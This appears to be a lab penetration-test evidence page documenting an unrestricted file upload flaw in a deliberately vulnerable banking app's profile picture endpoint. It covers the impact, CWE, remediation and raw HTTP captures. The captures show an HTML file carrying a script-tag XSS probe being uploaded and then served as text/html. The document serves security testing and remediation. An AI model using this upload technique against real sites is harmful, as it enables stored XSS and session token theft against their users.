Test case 19 / 26FAIL
Unrestricted File Upload - Profile Picture - File Type Validation
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] Unrestricted File Upload - Profile Picture - File Type Validation
01 — Notes
Test notes
Vulnerability
[FAIL] Unrestricted File Upload - Profile Picture - File Type Validation
Description
The /upload_profile_picture endpoint stores any file without validating extension, content-type, or magic bytes, and without a size limit. Files are stored in static/uploads, which the server serves directly, and Flask sets Content-Type based on the file extension.
Impact
Confidentiality + Integrity (High): an attacker can upload an HTML document containing JavaScript and access it on the application origin with a Content-Type of text/html, so the script executes as part of the site. This gives the attacker stored XSS on the application origin, which can be used to steal session tokens from victims who open the link, and it turns the bank's domain into a host for phishing pages.
CWE
CWE-434: Unrestricted Upload of File with Dangerous Type
OWASP
A04:2021 - Insecure Design
Scenario
Normal: a PNG image is uploaded as a profile picture -> expected and accepted. Exploitation: a payload.html file containing a script tag is uploaded through the same endpoint -> accepted without rejection. Impact: the file is retrieved over HTTP and served with Content-Type text/html containing the full script, so it executes on the application origin.
Endpoint
POST http://127.0.0.1:5001/upload_profile_picture
Affected feature
Profile picture upload
Remediation
- Apply an extension allow-list and verify magic bytes; reject anything other than permitted image formats, and re-encode the image.
- Store uploaded files outside the web root and serve them through a handler that sets a safe Content-Type and Content-Disposition attachment.
- Serve user content from a separate domain without session cookies.
- Apply a file size limit and use fully random names.
Proof of concept
1) (Screenshot 1) NORMAL: upload a PNG image file as a profile picture -> accepted.
2) (Screenshot 2) EXPLOITATION: upload payload.html containing a script tag through the same endpoint -> accepted without type validation.
3) (Screenshot 3) CIA IMPACT: the file is accessed via HTTP -> served with Content-Type text/html containing the full script, executing on the application origin.
View source note (English)
Vulnerability:
[FAIL] Unrestricted File Upload - Profile Picture - File Type Validation
Description:
The /upload_profile_picture endpoint stores any file without validating extension, content-type, or magic bytes, and without a size limit. Files are stored in static/uploads, which the server serves directly, and Flask sets Content-Type based on the file extension.
Impact:
Confidentiality + Integrity (High): an attacker can upload an HTML document containing JavaScript and access it on the application origin with a Content-Type of text/html, so the script executes as part of the site. This gives the attacker stored XSS on the application origin, which can be used to steal session tokens from victims who open the link, and it turns the bank's domain into a host for phishing pages.
CWE:
CWE-434: Unrestricted Upload of File with Dangerous Type
OWASP:
A04:2021 - Insecure Design
Scenario:
Normal: a PNG image is uploaded as a profile picture -> expected and accepted. Exploitation: a payload.html file containing a script tag is uploaded through the same endpoint -> accepted without rejection. Impact: the file is retrieved over HTTP and served with Content-Type text/html containing the full script, so it executes on the application origin.
Endpoint:
POST http://127.0.0.1:5001/upload_profile_picture
Affected Feature:
Profile picture upload
Remediation:
- Apply an extension allow-list and verify magic bytes; reject anything other than permitted image formats, and re-encode the image.
- Store uploaded files outside the web root and serve them through a handler that sets a safe Content-Type and Content-Disposition attachment.
- Serve user content from a separate domain without session cookies.
- Apply a file size limit and use fully random names.
POC:
1) (Screenshot 1) NORMAL: upload a PNG image file as a profile picture -> accepted.
2) (Screenshot 2) EXPLOITATION: upload payload.html containing a script tag through the same endpoint -> accepted without type validation.
3) (Screenshot 3) CIA IMPACT: the file is accessed via HTTP -> served with Content-Type text/html containing the full script, executing on the application origin.
02 — Screenshots
Screenshots (3)
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
POST /upload_profile_picture HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 222
Content-Type: multipart/form-data; boundary=6e1c16ecc8818d6543fc29ca3d550dce
--6e1c16ecc8818d6543fc29ca3d550dce
Content-Disposition: form-data; name="profile_picture"; filename="avatar.png"
Content-Type: image/png
�PNG
\x1a
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
--6e1c16ecc8818d6543fc29ca3d550dce--
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 133
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:23 GMT
{
"file_path": "static/uploads/601907_avatar.png",
"message": "Profile picture uploaded successfully",
"status": "success"
}CAPTURE 02 / 2
POST /upload_profile_picture HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 223
Content-Type: multipart/form-data; boundary=4ac606e2c5cac9f777611c0fbd6e295f
--4ac606e2c5cac9f777611c0fbd6e295f
Content-Disposition: form-data; name="profile_picture"; filename="payload.html"
Content-Type: text/html
<script>alert(document.domain)</script>
--4ac606e2c5cac9f777611c0fbd6e295f--
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 135
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:24 GMT
{
"file_path": "static/uploads/966073_payload.html",
"message": "Profile picture uploaded successfully",
"status": "success"
}CAPTURE 03 / 3
GET /static/uploads/966073_payload.html HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP/1.1 200 OK
Content-Disposition: inline; filename=966073_payload.html
Content-Type: text/html; charset=utf-8
Content-Length: 39
Last-Modified: Wed, 30 Sep 2026 03:02:24 GMT
Cache-Control: no-cache
Date: Wed, 30 Sep 2026 03:02:25 GMT
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
<script>alert(document.domain)</script>